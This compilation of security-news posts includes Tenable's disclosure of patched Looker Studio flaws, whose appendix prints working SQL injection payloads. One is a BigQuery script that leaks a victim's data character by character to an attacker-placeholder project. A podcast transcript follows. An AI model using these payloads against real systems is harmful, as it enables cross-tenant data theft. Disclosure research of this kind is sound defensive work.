This is why treating insider risk purely as a disciplinary or compliance issue consistently falls short. In many situations, the underlying issue is one of wellbeing first, with security consequences following later, whether the organisation recognises that link or not.

The post When insider risk is a wellbeing issue, not just a disciplinary one appeared first on Security Boulevard.

Tenable Research revealed "LeakyLooker," a set of nine novel cross-tenant vulnerabilities in Google Looker Studio. These flaws could have let attackers exfiltrate or modify data across Google services like BigQuery and Google Sheets. Google has since remediated all identified issues.

We discovered and disclosed nine novel cross-tenant vulnerabilities in Google Looker Studio (formerly Data Studio). Dubbed "LeakyLooker", the vulnerabilities broke fundamental design assumptions, revealed a new attack class, and could have allowed attackers to exfiltrate, insert, and delete data in victims’ services and Google Cloud environment.

These vulnerabilities exposed sensitive data across Google Cloud Platform (GCP) environments, potentially affecting any organization using Google Sheets, BigQuery, Spanner, PostgreSQL, MySQL, Cloud Storage, and almost any other Looker Studio data connector. All issues have been remediated by Google following Tenable’s reports.

We will demonstrate how Looker Studio’s deep integration with these GCP services along with other platforms created a huge attack surface and novel vulnerabilities.

The vulnerabilities demonstrate a new attack surface that can be abused by attackers in cloud environments and vendors should be aware of.

We often see business intelligence (BI) platforms as polished mirrors reflecting an organization’s data in beautiful, actionable charts. 

However, our latest research into the internals of Looker Studio led to the discovery of the "LeakyLooker" vulnerabilities, which broke the fundamental promise of a BI platform: that a "viewer" should never be able to control, modify nor exfiltrate the data they are viewing.

What is Looker Studio?

Looker Studio is a cloud-based BI and data visualization platform that allows users to turn raw data into interactive, shareable reports. By connecting to various sources, such as Google Analytics, BigQuery, or SQL databases, it enables teams to build reports that update in real-time, making complex datasets easy to interpret through charts and tables. Because it is built on the Google Cloud infrastructure, it relies heavily on a permission-sharing model similar to Google Docs, where reports can be viewed or edited based on specific user credentials or public links.
 

^{An example of a Looker Studio report} 

Looker Studio’s interesting service architecture

Owner vs. viewer credentials

To understand why these vulnerabilities are so critical, we first have to look at how Looker Studio handles "trust." When you connect a database to a report, you have to decide whose identity the report should use to access the connected data source. For example: Who is querying the attached database?

Looker Studio offers two credential models:

1. Owner credentials

The report uses the owner’s permissions to fetch data, regardless of who is looking at it.

It allows you to share a report with people who don't have direct access to your data source, such as sharing a sales report with a client who doesn't have access to your sales database.

In this flow, the data is fetched via the owner's authentication token.

2. Viewer credentials

The report uses the Viewer’s own permissions to fetch data.

It’s the most secure way to ensure people only see what they are allowed to see. If a Viewer doesn't have access to the underlying database, the report’s data source will show an error when trying to load.

Each viewer must provide their own authentication token to see the data.

Breaking the trust

The core of this research was the realization that these two paths create two very different "trust boundaries" that can be attacked independently. The goal was to break the platform by isolating these mechanisms:

• Targeting viewer credentials (The 1-click path): We looked for ways to manipulate a report so that it forces a viewer to unknowingly execute a query or manipulate data they do have permission for, and optionally send the results to the attacker. Because this requires the victim to interact with a malicious link, it's classified as a 1-click attack. It exploits the victim's own access level.
• Targeting owner credentials (The 0-click path): This is where the real "architectural flaw" lies. We realized that if we could talk directly to the backend of a report set to owner credentials, we could act as the report’s owner. By sending a crafted request to a public report or a shared report, the attacker triggers the Looker Studio service to fetch or manipulate data using the owner’s identity. Because this happens entirely on the server side without needing a victim to click anything, it becomes a 0-click exploit that can, as an example, drain entire datasets.

From a security researcher's perspective, the breakthrough lies in decoupling the platform's two primary authentication mechanisms to expose two distinct, high-impact attack paths. This is done by isolating how the Looker Studio handles Viewer versus Owner credentials.

Looker Studio connectors

Looker Studio acts as the visualization layer for vast amounts of enterprise data. To function, it uses "connectors" to bridge the gap between the report and the underlying data source (like BigQuery or Cloud SQL).

The "live data" trap

Looker Studio’s greatest feature, and its architectural Achilles' heel is live data.

Unlike static reports, Looker Studio reports are designed to be dynamic. As an example, when a sale is completed and the transaction is reflected in the underlying database, the chart should update the moment a user refreshes their browser. To achieve this magic, Looker Studio acts as a live proxy.

As an example on a BigQuery data source: When a user opens a report, their browser sends a request to Looker Studio, which then translates that request into a SQL query and sends it to the backend database in real-time.

Breaking the owner’s credentials with 0-click vulnerabilities

Vulnerability #1: The Alias Injection (Cross-tenant unauthorized access - 0-click SQL injection on database connectors)

We ran our proof of concept (POC) on a BigQuery connector, but this vulnerability also affects other database connectors such as Spanner.

Our investigation began by observing the network traffic during a report load. We saw a specific HTTP request called batchedDataV2.

As we poked at the JSON body of this request, we noticed something suspicious: Looker Studio generates unique aliases for every column, such as qt_1spiqerwsd.

This is the pitfall. The backend was taking these user-controlled strings and concatenating them directly into a live SQL statement that is actually a BigQuery job: SELECT column AS [USER_CONTROLLED_ALIAS] FROM table...

We realized that if we could "break out" of the alias string, we could hijack the entire query. However, Google had built some mitigations against these attempts. If we tried to use a dot (.) to reach another Big Query project (victimsproject.dataset.table), the system swapped it for an underscore (_). If we used a space, it was stripped.

We bypassed these by abusing some SQL quirks:

• The "no spaces" problem: We bypassed this using SQL comments /**/. The SQL engine treats comments as whitespace, and the "space-stripping" filter ignores them.
• The "no dots" problem: We used BigQuery’s own SQL-scripting capabilities. By using CHR(46) (the ASCII code for a dot) and CONCAT(), we built the project paths in execution after the filter had already looked at our input.

The payload: 0-click execution:
 

The payload can be viewed in the Appendix.

Our injection point starts from the string “hey”. We could now run arbitrary SQL queries across the owner's entire GCP project, all triggered by a victim simply having a public Looker Studio report with a vulnerable database data source or by sharing it with the attacker beforehand.

The injection looks like the following in the resulting BigQuery job. We highlighted it for the readers' convenience:
 

Attackers could search for public Looker Studio reports or alternatively have access to private ones that use these connectors, and fully hijack full databases of report owners - read, write, update, and delete.

A POC of a full data exfiltration method is demonstrated in Vulnerability #3 in this blog.

Vulnerability #2: The Sticky Credential (Cross-tenant unauthorized access - 0-click SQL injection through stored credentials)

The second discovery was a fundamental logic flaw in how Looker Studio handles its "Copy Report" feature.
 

The "what if" question

We asked: “What happens when a viewer, who should have zero access to tamper with the report’s data source or credentials, clones a report that uses the owner’s credentials mode on its data sources?”

To use a JDBC-based data source, such as PostgreSQL or MySQL, a user inputs credentials to the data source to attach it to their report. For example: database URL, username, and password.

When you copy a report, the attached data source is cloned and created in the new copy:
 

Remarkably, we found that for these kinds of JDBC data sources, the cloned data source kept its credentials when being copied to the new report. The issue here is that when copying a report, the user who copied it is now the owner of the new report copy, and while being an owner of a report, the user can access features they could not as a viewer. One of these features is managing the report’s data source:
 

And running custom queries against it! We ran a table creation query for a POC:
 

The payload can be viewed in the Appendix.

Alarmingly, there is no need to re-authenticate with the database credentials we do not know as attackers, since the backend kept the credentials from the victim’s original report. It is surprising to note that despite the fact that the console yielded this error message …
 

… the custom query ran behind the scenes, and we just added a new table to the victim’s DB, all from simply viewing a public Looker Studio report:
 

1. A victim creates a report as public or shares it with a specific recipient, and uses a JDBC connected data source such as PostgreSQL. The database password is safely hidden.
2. The attacker clicks "Make a Copy."
3. In a secure architecture, the credentials should stay with the original report. But the logic copied the credentials along with the report.
4. Because the attacker now "owns" the created report’s copy, they gain access to the Custom Query feature. They can now write arbitrary CRUD queries such as DELETE * FROM secret_table and Looker Studio will happily execute them using the original victim's saved credentials.

Attackers could search for public reports or alternatively have access to private ones that use these connectors, and fully hijack full databases of report owners - read, write, update, and delete.

Breaking a viewer’s credentials with 1-click vulnerabilities

Vulnerability #3: Cross-tenant SQL injection on BigQuery through native functions

Once we identified that a viewer’s credentials could be exploited as a 1-click path, this became clear: If we could force the victim's browser to execute our code under their own identity, the platform’s security model would essentially work for us, not against us.

The attack's hidden setup: Manipulating the connection

Normally, the UI only lets us connect reports to data sources we have permission to access, like BigQuery tables. However, the requests behind the scenes would look something like: "Connect my_project.my_dataset.my_table." 
What if we modify these requests?

We used a web proxy tool to intercept these. We then modified the HTTP requests (specifically, createBlockDatasource and publishDatasource) to replace our project's details, with those of a cross tenant victim (our own victim mock up project):
 

Even though we could not see the victim's actual data at this stage, we had now created a report that, in its configuration, believed it was connected to the victim's BigQuery table, all while using a viewer's credentials.
 

The next step: Native functions and dimensions

Now that our report was stealthily connected to the victim’s data, we needed a way to execute our own commands. This brought us to another powerful, but often overlooked, Looker Studio feature: Native Functions.

A dimension in Looker Studio is like a category or a field in your data (e.g., "customer name," "product ID"). Report editors can perform calculations on these fields to display specific data to a report viewer. Sometimes, you need to perform complex calculations on these dimensions that Looker Studio’s built-in functions can’t handle. That's where NATIVE_DIMENSION comes in. It allows you to write raw SQL directly into a field, and Looker Studio will run that SQL against your database, to give the report viewer the desired result. That SQL will run in a BigQuery job… 

This was it. NATIVE_DIMENSION lets us execute custom SQL and runs on a report load (live data). So we can create a data source that belongs to the victim, add a dimension with our malicious SQL, and share the report with the victim. Since the data source is set to the viewer's credentials, the victim will execute our malicious SQL while viewing and loading the shared report and data source, without even noticing.
 

But there was a catch: Google tries to block dangerous SQL. If we just typed SELECT * FROM victims_table, Looker Studio would respond with an "SQL queries are not allowed" error.

Google’s protection mechanism checked for specific keywords like SELECT and FROM. This hinted that the protection might be a simple text-based filter.

SQL comments to the rescue

This is where a classic SQL injection technique proved effective. In SQL, anything between /**/ (a multi-line comment), is not treated by SQL.

Our thought process: What if we tricked the filter by putting an empty comment between the forbidden words? We tried injecting SEL/**/ECT and FR/**/OM. To our surprise, the validation system accepted it. The filter did not catch a raw “SELECT” nor “FROM” and thought it was safe. The underlying BigQuery engine simply ignored the comment and executed the SELECT or FROM command.

Building the super-payload: Multi-statement SQL injection

A single SELECT statement is useful, but we wanted to steal all the data. This required more complex logic: iterating through tables, finding column names, and then extracting every single row. BigQuery had some limitations for a fully-working one-liner injection.

Our thought process: BigQuery, like many SQL databases, supports multi-statement scripts. You can write several SQL commands separated by semicolons and wrap them in a BEGIN...END block. This allows for complex programming logic directly within the SQL.

We realized we could craft an entire program inside that NATIVE_DIMENSION field. This program would:

1. Declare variables: For example, we could set up temporary storage to hold names of columns or rows as we discovered them.
2. Query the victim's schema: We used BigQuery's INFORMATION_SCHEMA.COLUMNS (a special table that describes the structure of a database) to dynamically find all the table and column names the victim had access to. We didn't need to know them beforehand.
3. Loop through everything: We built WHILE loops to systematically go through each column, and then each row within that column.
4. We commented out the last piece of SQL added by default by Looker Studio with “--”.

Blind exfiltration with cross-tenant logs

Now, how do we get the stolen data out? We couldn't just INSERT data into our own tables; that would require specific permissions (OAuth scopes) that the victim might not have granted.

We devised a trick using cross-tenant log analysis:

1. Attacker setup: In our own project, we created a series of empty BigQuery tables and made them publicly accessible to allow cross-tenant queries. We named them: exfil-a, exfil-b, exfil-c, exfil-1, exfil-2, and so on, for every character and number.
2. The "ping" mechanism: Inside our injected SQL, when we discovered a character from the victim's data (e.g., the letter 'L' from a column named "Liv"), we would execute a SELECT statement that looked like this: SELECT * FROM attacker_project.exfil-l.
3. Log analysis: The victim's Big Query job, running our injected script, would try to read from our exfil-l table. This read operation wouldn't return any data since our tables were empty, but it would generate a log entry on our Google Cloud project. By monitoring these logs and piecing together the sequence of table accesses, we could reconstruct the victim's data.

The payload can be viewed in the Appendix.

The attack in action: A 1-click data exfiltration

Combining all these pieces, we could create a malicious Looker Studio report. We could share it with a victim (even unchecking the "Notify" box for stealth) or embed it on a website.

The moment the victim opens the report (or visits our malicious website), their browser:

1. Connects to our report.
2. Uses their credentials to access the data source (which we've secretly configured to point to their BigQuery).
3. Executes our NATIVE_DIMENSION calculated field to display and load the victim’s data source we attached.
4. Our injected multi-statement script runs, systematically extracting all their BigQuery table and column names in their GCP project, then all the data.
5. Each extracted character triggers a "ping" to one of our public exfil tables.
6. We monitor our own GCP logs, and reconstruct the victim's entire database, all without them ever seeing a warning or granting explicit permission.
    

Conclusion and guidance

BI tools are often treated as read-only platforms trusted to visualize data, while keeping it safe from compromises. The surprising reality: One of the world’s most widely deployed BI platforms could have become a stealthy entry point into the heart of your cloud infrastructure or services data.

This research began with a simple question:

Can Looker Studio be used for more than just looking? The answer turned out to be far worse than expected.

Google has patched these issues globally. Since all instances of Looker Studio are managed by Google, no action is required by customers.

To limit exposure to these kinds of attacks, always audit who has "View" access to your reports whether they are public or private, treat BI connectors as a critical part of your attack surface, and do not allow the service to access a connector you do not use anymore. 

To limit access to Looker Studio connectors, you should follow the following guide:
 

In that specific example, Looker Studio has access to a lot of services, such as Google SQL, BigQuery, Cloud Storage, Analytics and Drive.

We would like to thank the Google Cloud Vulnerability Reward Program (VRP) team for their professional response and rapid mitigation of these issues.

Learn more about Tenable Cloud Security

Appendix: Payloads

Vulnerability 1:
 

injection_starts_here/**/FROM/**/UNNEST([STRUCT('a'/**/AS/**/clmn0_)])/**/GROUP/**/BY/**/1;
BEGIN/**/DECLARE/**/dot/**/STRING;DECLARE/**/table_name2/**/STRING;DECLARE/**/sql_query1/**/
STRING;DECLARE/**/sql_query2/**/STRING;DECLARE/**/sql_query3/**/STRING;
SET/**/dot/**/=/**/CHR(46);SET/**/table_name2/**/=/**/CONCAT
('lmatan-project',/**/dot,/**/'mydataset',/**/dot,/**/'exfila');
SET/**/sql_query2/**/=/**/CONCAT('SELECT/**/*/**/FROM/**/`',/**/table_name2,/**/'`');
EXECUTE/**/IMMEDIATE/**/sql_query2;END;SELECT/**/NULL/**/AS/**/t0_qt_1spiqerwsd

Vulnerability 2:

CREATE TABLE users (
     id SERIAL PRIMARY KEY,
     username VARCHAR(50) NOT NULL,
     email VARCHAR(100) NOT NULL,
     created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

Vulnerability 3:

NATIVE_DIMENSION("JSON_VALUE(name, '$.agea') AS clmn10_, (/**/SELECT AS STRUCT name /**/
FROM placeholderproject.placeholderdataset.placeholdertable LIMIT 1) AS clmn0_, t0.name AS 
clmn1_, NULL AS clmn2_, NULL AS clmn3_ /**/FROM placeholderproject.placeholderdataset.placeholdertable 
AS t0) GROUP BY clmn0_, clmn1_, clmn2_, clmn3_ ORDER BY 2 DESC;BEGIN DECLARE col_names 
ARRAY<STRING>; DECLARE col_index INT64 DEFAULT 1; DECLARE col_name STRING; DECLARE char_index INT64; 
DECLARE char STRING; DECLARE dyn_sql STRING; DECLARE row_array ARRAY<STRING>; DECLARE 
row_idx INT64; DECLARE row_val STRING; DECLARE row_char_index INT64; DECLARE row_char 
STRING; SET col_names = (/**/SELECT ARRAY_AGG(column_name) /**/FROM 
placeholderproject.placeholderdataset.INFORMATION_SCHEMA.COLUMNS WHERE table_name = 
'placeholdertable' AND data_type = 'STRING'); WHILE col_index <= ARRAY_LENGTH(col_names) 
DO SET col_name = col_names[ORDINAL(col_index)]; SET char_index = 1; WHILE char_index <= 
LENGTH(col_name) DO SET char = LOWER(SUBSTR(col_name, char_index, 1)); IF 
REGEXP_CONTAINS(char, r'^[a-z0-9]$') THEN SET dyn_sql = FORMAT(\"\"\" /**/SELECT 'exfil%s' 
AS from_table, '%s' AS character, %d AS position, '%s' AS source_column /**/FROM 
attackerplaceholderproject.attackerplaceholderdataset.attackerplaceholdertable%s 
LIMIT 1 \"\"\", char, char, char_index, col_name, char); BEGIN EXECUTE IMMEDIATE dyn_sql; 
EXCEPTION WHEN ERROR THEN /**/SELECT FORMAT(\"Error accessing exfil%s for column name char 
'%s' (pos %d) of column '%s'\", char, char, char_index, col_name) AS error_message; END; END 
IF; SET char_index = char_index + 1; END WHILE; EXECUTE IMMEDIATE \"\"\" /**/SELECT 'exfil-' 
AS from_table, 'd' AS character, 12 AS position, 'name' AS source_column /**/FROM 
`attackerplaceholderproject.attackerplaceholderdataset.INFORMATION_SCHEMA.TABLES` 
WHERE FALSE \"\"\"; SET dyn_sql = FORMAT(\"\"\" /**/SELECT ARRAY_AGG(CAST(%s AS STRING)) 
/**/FROM placeholderproject.placeholderdataset.placeholdertable WHERE %s IS NOT NULL \"\"\", 
col_name, col_name); EXECUTE IMMEDIATE dyn_sql INTO row_array; SET row_idx = 1; WHILE 
row_idx <= ARRAY_LENGTH(row_array) DO SET row_val = row_array[ORDINAL(row_idx)]; SET 
row_char_index = 1; WHILE row_char_index <= LENGTH(row_val) DO SET row_char = 
LOWER(SUBSTR(row_val, row_char_index, 1)); IF REGEXP_CONTAINS(row_char, r'^[a-z0-9]$') THEN 
SET dyn_sql = FORMAT(\"\"\" /**/SELECT 'exfil%s' AS from_table, '%s' AS character, %d 
AS position_in_value, '%s' AS column_name, '%s' AS full_value /**/FROM 
attackerplaceholderproject.attackerplaceholderdataset.attackerplaceholdertable%s 
LIMIT 1 \"\"\", row_char, row_char, row_char_index, col_name, row_val, row_char); 
BEGIN EXECUTE IMMEDIATE dyn_sql; EXCEPTION WHEN ERROR THEN /**/SELECT 
FORMAT(\"Error accessing exfil%s for row value char '%s' (pos %d) of column '%s'\", 
row_char, row_char, row_char_index, col_name) AS error_message; END; END IF; SET 
row_char_index = row_char_index + 1; END WHILE; EXECUTE IMMEDIATE \"\"\" /**/SELECT 'exfil-' 
AS from_table, 'd' AS character, 12 AS position, 'name' AS source_column /**/FROM 
`attackerplaceholderproject.attackerplaceholderdataset.INFORMATION_SCHEMA.TABLES` 
WHERE FALSE \"\"\"; SET row_idx = row_idx + 1; END WHILE; SET col_index = col_index + 1; 
END WHILE; END; /**/SELECT COUNT(1) AS t0_qt_m7hbtdzlsd, clmn0_ AS t0_qt_pwfmdd4lsd, clmn1_ 
/**/FROM ( /**/SELECT (/**/SELECT AS STRUCT 1 AS a) AS clmn0_, t0.name AS clmn1_ /**/FROM 
`placeholderproject.placeholderdataset.placeholdertable` AS t0 --","INT64")

The post LeakyLooker: Hacking Google Cloud’s Data via Dangerous Looker Studio Vulnerabilities appeared first on Security Boulevard.

From the Battlefield to the Boardroom: Lessons in Defense

In the latest episode of The Defender’s Log, host David Redekop sits down with Steven Elliott, CFO of Adam Networks, to explore the surprising parallels between military operations, financial management, and cybersecurity.

A Journey of Unpredictable Paths

Elliott’s background is anything but linear. From a small farming community in Kansas to studying international business, his trajectory shifted on 9/11, leading him to enlist in the 75th Ranger Regiment. Following his service, he navigated the 2008 financial collapse as a wealth manager before transitioning into the tech sector.

Core Principles of Defense

Drawing from his time as an Army Ranger, Elliott emphasizes that defense must always precede offense. He introduces several “priorities of work” that translate directly to the digital world:

• Establish Security First: You cannot project power without a secure perimeter.
• Maintenance is Critical: If your “weapons” (or software) don’t work, you can’t fight.
• Avoid the “Hurry to Die”: Fear-based decision-making often leads to catastrophic errors.

The Human Element

Elliott shares a moving account of a friendly fire incident in Afghanistan—involving teammate Pat Tillman—to illustrate a vital leadership lesson: bad news does not get better with age. He argues that transparency and relationship-building are the ultimate safeguards against systemic failure.

In an era dominated by AI and complex digital threats, Elliott’s message is clear: focus on character, trust your team, and operate with curiosity rather than fear.

Full episode of The Defender’s Log here:

Defense Before Offense: Leadership, Risk, and the Cost of Bad Decisions | Defenders Log

TL;DR

• Defense First: You cannot move offensively without a secure perimeter.
• Military “Priorities of Work”: 1. Security, 2. Maintenance, 3. Personal Care, 4. Sleep.
• “Don’t be in a hurry to die”: Decisions made from fear or anxiety lead to catastrophic errors.
• Transparency: Bad news does not get better with age; honesty prevents organizational fragility.
• Lessons from Pat Tillman: The tragic friendly-fire incident highlights the danger of “spinning” narratives versus telling the truth.
• Tactical Pause: In the age of AI, choose curiosity over panic.
• People > Tech: Software is only as strong as the relationships and character behind it.

Links

View it on YouTube: https://www.youtube.com/watch?v=-u0Od3DIpjs

Listen to the episode on your favourite podcast platform:

Apple
https://podcasts.apple.com/us/podcast/defense-before-offense-leadership-risk-and-the-cost/id1829031081?i=1000753695988

Spotify
https://open.spotify.com/episode/5YR0baoCpjjuj6Jhdna9xW

Amazon Music
https://music.amazon.ca/podcasts/d7aa9a19-d092-42a6-9fe9-9e8d81f68d30/episodes/5d8e594e-d5a4-4cb7-804e-82fd56ec0334/the-defender%E2%80%99s-log-podcast-defense-before-offense-leadership-risk-and-the-cost-of-bad-decisions

ADAMnetworks
https://adamnet.works

The Defender’s Log Full Transcript -Episode 017

David Redekop: Deep in the digital shadows, where threats hide behind any random bite, a fearless crew of cyber security warriors guards the line between chaos and order. Their epic battles rarely spoken of until today. Welcome to the Defenders Log, where we crack open the secrets of top security chiefs, CISOs, and architects who faced the abyss and won. Here’s your host, David Redekop.

Welcome back to another episode of the Defenders Log. And I am very glad that Steven Elliott is able to join us today. He’s our chief financial officer at Adam Networks. And I’m very privileged to have gotten to know you, Steven. Welcome.

Steven Elliott: Thank you. Yeah, likewise. It’s great to be here.

David Redekop: When I first started the Defenders Log podcast, I thought, you know what, it’s just going to be people in tech and cyber. At some point, it became very obvious to me that there are so many analogies to the real world. There is a reason why I thought you should be on here today, and that is because the real world is always going to matter—and matter more, I think, than the digital world. There is a very strong defense analogy, especially given your background. As our audience knows, I live and work in Canada, but Steven is in the United States. We are true brothers in so many senses, and so that’s why I wanted to just have our audience get to know you a little bit. Steven, tell us how you got your start on this planet.

Steven Elliott: Wow. Uh, well, the short version: I was born in western Kansas, a small farming community called Hays, Kansas. If any of you have ever driven through on Interstate 70, you’ve probably gotten gas there at some point. It’s not known for too much else in the country, but it’s a great community, a great little town. So all my family, for the most part, are in some form or fashion attached to agriculture—farming. There’s a little bit of an oil industry there. That was the world that I grew up in in the 1980s.

Then I went to college at Oral Roberts University in Tulsa, Oklahoma. Studied international business. Didn’t really know what I wanted to do; didn’t really have a plan. If I didn’t have to have a financial justification for my education, I probably would have been just a history or an English lit major because those were the classes that I loved the most. But I didn’t want to be a professor, and I didn’t want to be a barista. No offense to those disciplines because they’re very necessary in our world.

I enjoyed business; there’s a historical aspect to business. Understanding history, I think, is important to seeing where it rhymes in our world. That aspect was always very interesting to me—just the decision-making piece of it. How can you understand numbers to make better decisions, etc. A lot of things about the business piece of it really resonated with me, but I didn’t really have much of a plan as far as what I was going to do with that.

Then my junior year of college was 9/11, and that altered my trajectory, as it did for a lot of people, quite a bit. I had family who had served in previous conflicts, including World War II. So I made the decision essentially to say, “I don’t know what I’m going to do as a career, but it felt like between where I was at in college and any other career, I really needed to spend some time in the military.”

So I did that. Three weeks after I graduated with my bachelor’s, I was at sunny Fort Benning, Georgia, and began a four-year enlistment in the Army. Then, having concluded that in 2007, I started as a financial adviser with what was at that time Citi Smith Barney. Little did I know that I was entering that industry about 12 to 18 months before a complete and near total financial collapse of the financial sector. So that was an interesting time to enter that world.

I spent from '07 to about 2022 in private wealth management. The latter part of that, I was running a trust company. We were administrating trusts and estates, which is kind of a second cousin to a more traditional financial planning wealth management relationship. Fascinating work. There are elements of relationship which are so critical. All of those documents—any legal document, really, whether it’s an operating agreement or whether it’s a trust or a will—it’s really only as good as the relationships that drafted it and signed it. You kind of get a seat at the table in a lot of those conversations where you see how those documents and agreements work well because the relationships work well, and then you also see where they don’t because of the relational discord.

So that was my journey prior to my intersection with Adam Networks, which was not at all on my bingo card, so to speak. I think it was probably 2017 or 2018 when I first met Francois Dery at an event in Seattle where it had nothing to do with cybersecurity. He was presenting a new film that he was working on at that time. I think he had started doing some work with Adam but still had his studio. We just started talking and struck up a friendship. Then he started telling me about this thing called Adam Networks and this guy he met called David. That was the beginning of my foray into the industry. That’s a lot of ground to cover, but that’s the overview as far as what’s brought me here.

David Redekop: I’m forever grateful for that event that Francois went to to find you and meet you, and for that connection that in hindsight is so obvious for us anyway. We are mutual benefactors of getting to connect with our own kind where the worldview is aligned in spite of a completely different background, different politics, different education, different area of specialty. There’s something that drew me to you immediately, and I suspect it would be the same for Francois. You have this very quick ability to take an otherwise complex idea and instantaneously synthesize it and make it a very palatable, easy-to-understand concept for any audience member.

I’ll give you a very specific example. I remember the first time we talked about company valuation, and you said it’s very simple: it’s the present value of all future revenue or future profit. I’m like, “Yes, of course.” I, of course, spent years in the present value and future value calculations to do fancy mortality tables to calculate what an annuity or a life insurance policy should cost or reward. And of course, it’s the present value of all future transactional value that makes the value. Ever since then, you’ve done that on a repeated basis.

I’m very grateful for that because as complex as technology is, one of the defensive elements is if you can make sense of it. When you can’t make sense of it, you are a victim or you are going to be a targeted victim. What I always appreciate about you is that your lack of wasted time on technical engineering is what gave you the advantage in actually understanding the macro.

Steven Elliott: Yeah, I think that’s probably true to some degree. I think I also had a lot of practice, which is always interesting to think about too. Making the switch from financial services to Adam Networks was easy in some respects because of the relationship and the trust and respect that I have for you and Francois and the rest of the team, really. It was just like, “Well, these are extraordinary people, and if my skill sets can serve this team and that means that I get to spend time with these people on a daily basis, well, that’s a really good thing.” If they happen to be selling cybersecurity software, fine, but that’s not really the point. It’s just more that there’s something of value that we can provide to the marketplace and these are good people to do it with.

Sometimes you look back or when you’re in the midst of life, you wonder if there is a trajectory here or am I just bouncing over here and doing this thing and then bouncing over here and doing that thing. You know that saying that life is lived forward but understood backwards. I think that’s very true, where you start to look back and you can see some threads.

One of the threads for what we were talking about was a senior adviser at the branch where I started in the industry. She was a wonderful mentor to younger advisers like myself. She gave me a book called Storytelling and it is particularly geared towards the financial services industry. Not unlike cybersecurity or technology, you want to talk about a black box lexicon. Most people who are making the buying decision—the retiree, whomever—they don’t know the difference between a SEP or a simple IRA or a call option. It’s just as confusing; it’s a different lexicon but it’s the same black box, which to some degree is necessary because it is a complex world. You do need to know the terms and you do need to have confidence in that. But in another degree, sometimes I wonder if we are making this more confusing on purpose. Sometimes it feels like we are.

So I was forced early in my career to have people who were helping me think that way. People were helping me really think in terms of: this is your audience. It’s a retiree from the state of Washington. They don’t know 5% of what you know about financial services, but that doesn’t mean they’re dumb. If you treat them with respect and if you work to try and find the language that they can speak, then you’re actually going to empower them to make decisions, which turned out to be a good business prospect.

It was also somewhat of a way of qualifying clients. Sometimes you’d have people come to you and they weren’t interested in a conversation. They weren’t interested in learning. They were just interested in, “I’m going to give you money and you’re going to go make me money, and if you don’t make me money, I’m going to fire you.” It’s like, “Well, here’s the thing: I don’t know what’s going to happen tomorrow in the financial markets any more than you do. I just don’t know. So my job is not to just blindly tell you what to do. It’s your money. It’s your retirement plan. It’s your estate plan. My job is to help educate you as to the risks and the rewards, and then you make the decision.”

That was really what my practice was built around. But I had a lot of really good help. I think that started me early on and it set me up well for the transition into cyber—thinking that way. The challenge is that then entering this industry, which I basically entered about seven years ago on a part-time basis with Adam and then full-time for four years now, I was the person who didn’t know anything. In order for me to level-set and be able to even understand a P&L and balance sheet—that’s fine—but I’ve had to really drink from a fire hose to just be conversant from a business standpoint. Not trying to know what you and our engineers know; that’s not necessary. But it really has been a challenge, and you guys have been really good teachers. That helps a lot—to have people who can help guide you through it. It gave me a lot more appreciation for the times when I was a young adviser stuck in finance speak and I just kind of shook my head and thought, “You didn’t have to say all that.” I’ve definitely learned a lot and I continue to learn a lot. So, thank you guys for being teachers.

David Redekop: No, I mean, I remember the first time that you were interviewed on the Cube and I thought, “Well, what’s he going to say?” And then afterwards, I was just like, “Whoa, we don’t need any engineers to ever show up on camera again. We’re just going to send Steven everywhere.” So, you clearly were a good student. Francois is a very good teacher on the communication side. That’s partly what gives the three of us some resilience in that none of us have the exact same strengths. There’s some overlap, of course, and that’s what you really want in a leadership team that has as important a mission as we do.

I want to switch gears for just a little bit, Steven, to the military experience that you have and the defensive role in there. Before we go into that, from the perspective of Canada and other countries, I do feel that this is an opportunity to share that most Canadians, I believe, would understand that we do owe a good chunk of our freedom and our liberties to the fact that we ourselves as a country have experienced a good solid defense because of who our neighbors are. Being part of the world’s longest undefended border, with most Canadians living within 100 miles of that border and having the relative peace that we’ve had for so long, is because of the US military.

There is a picture that enters my mind of the fact that military power has been there, and even though it could be used even more than it has been, it is because of that that we are as safe as we are. For that, I am personally grateful. Coming from a Mennonite background in the last number of centuries, our antecedents felt that we wouldn’t participate in war. In fact, it was very often the reason our antecedents left for another country—in order to avoid being drafted—because the notion of killing another human being or somehow assisting was contrary to what our antecedents believed. All that to say, thank you for what America and folks in the military have done in the US and in Canada too to give us and our children their freedom and the liberty to live out lives that we feel that we must do but we don’t have to go to bed being afraid. But let’s now switch to your defensive time that you had in the military. Tell us a little bit about that—what that experience was like.

Steven Elliott: Yeah, so I went in enlisted. I had a college degree; I could have gone in as an officer. But the fastest pathway in the United States Army to get into a special operations unit was the enlisted pathway. If I went in as an officer, it was going to be a lot more time in the schoolhouse. I wasn’t sure if I wanted to make the military a career. I also at the time—which is quaint to think about—I didn’t know how long the war was going to last. Previously, deployments—the last war that the United States had fought that was an actual, not a low-level conflict, was the first Gulf War, and that was more or less over in 60 days. So I was in a hurry to find my way into the fight, so to speak.

I joined with a Ranger contract and completed all of the selection and everything to serve in the 75th Ranger Regiment. Specifically, I served at 2nd Ranger Battalion up at Fort Lewis, Washington. So I went from business school to being a member of the Ranger machine gun teams. The way the Ranger Regiment is organized, it’s organized the same way as essentially any light airborne infantry unit in the US military is. It’s a similar organizational structure.

Regardless of whether you’re in a special operations unit or not, there are certain military principles that always apply. You can’t project offensively if you do not have a secure perimeter. In Army or Ranger speak, one word picture: if you have a platoon of folks walking around in the woods and you stop and you’re going to sleep, the first thing you’re going to do is form what’s called a patrol base. And that’s going to be a triangle. It’s a perimeter. Machine guns are on every corner. You’re going to make sure you have overlapping fields of fire. You’re going to make sure that you’ve got proper distance between the perimeter. Then you revert to your priorities of work.

That’s always one of the most fundamental things in the Army: your priorities of work, which are basically the things that you have to do that nobody should tell you to have to do. It’s almost like a part of your general orders. That is always, first and foremost, security. Establish security, even if it’s just you and one other guy. The first thing you do is somebody is on security. Then it’s weapons maintenance. You can’t fight if your weapons don’t work; that’s a problem. Then it’s take care of yourself. At the very bottom of the list is sleep. Those are your priorities of work that you’re always tied into.

It definitely crystallizes in a very visceral way the balance between doing something that is inherently risky. If you’re doing a raid or if you’re going out on patrol, you are taking risk. It is less risk to stay inside the wire than it is to go outside and try and knock down somebody’s door. But how do you reduce exposure? How do you operate as smartly and as safely as possible so that taking that risk, you reduce as many variables as possible?

